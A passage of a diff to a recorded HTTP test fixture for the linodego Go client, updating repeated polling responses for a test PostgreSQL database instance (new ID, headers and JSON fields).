@@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:33:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15106,7 +17878,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15122,18 +17894,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15146,16 +17918,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:33:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15171,7 +17946,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15187,18 +17962,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15211,16 +17986,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:34:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15236,7 +18014,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15252,18 +18030,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15276,16 +18054,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:34:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15301,7 +18082,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15317,18 +18098,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15341,16 +18122,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:34:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15366,7 +18150,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15382,18 +18166,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15406,16 +18190,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:34:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15431,7 +18218,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15447,18 +18234,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15471,16 +18258,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:35:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15496,7 +18286,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15512,18 +18302,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15536,16 +18326,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:35:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15561,7 +18354,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15577,18 +18370,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15601,16 +18394,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:35:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15626,7 +18422,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15642,18 +18438,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15666,16 +18462,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:35:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15691,7 +18490,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15707,18 +18506,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15731,16 +18530,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:36:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15756,7 +18558,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15772,18 +18574,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15796,16 +18598,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:36:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15821,7 +18626,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15837,18 +18642,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15861,16 +18666,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:36:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15886,7 +18694,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15902,18 +18710,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": 